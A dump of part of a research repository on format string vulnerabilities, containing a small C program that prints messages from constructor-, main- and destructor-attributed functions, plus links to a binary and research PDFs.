-------------------------------------------------------------------------------- /Research/TrialScripts/testDtor: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PrateekJain90/ExploitingFormatStringVulnerabilities/7269e95ae7a751b3f08aa8c118fe339da9a461a4/Research/TrialScripts/testDtor -------------------------------------------------------------------------------- /Research/TrialScripts/testDtor.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | static void cleanupc(void) __attribute__ ((constructor)); 5 | static void cleanupd(void) __attribute__ ((destructor)); 6 | 7 | 8 | void cleanupc(void) { 9 | 10 | printf("Step 0x1: Inside in the cleanupc function attributed to constructor.\n"); 11 | } 12 | 13 | 14 | int main() { 15 | 16 | printf("Step 0x2: Inside main function.\n"); 17 | } 18 | 19 | 20 | void cleanupd(void) { 21 | 22 | printf("Step 0x3: Inside in the cleanupd function attributed to destructor.\n"); 23 | } 24 | -------------------------------------------------------------------------------- /Research_Proposal.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PrateekJain90/ExploitingFormatStringVulnerabilities/7269e95ae7a751b3f08aa8c118fe339da9a461a4/Research_Proposal.pdf -------------------------------------------------------------------------------- /Research_Proposal_Update_1.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PrateekJain90/ExploitingFormatStringVulnerabilities/7269e95ae7a751b3f08aa8c118fe339da9a461a4/Research_Proposal_Update_1.pdf -------------------------------------------------------------------------------- /Research_Report.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PrateekJain90/ExploitingFormatStringVulnerabilities/7269e95ae7a751b3f08aa8c118fe339da9a461a4/Research_Report.pdf --------------------------------------------------------------------------------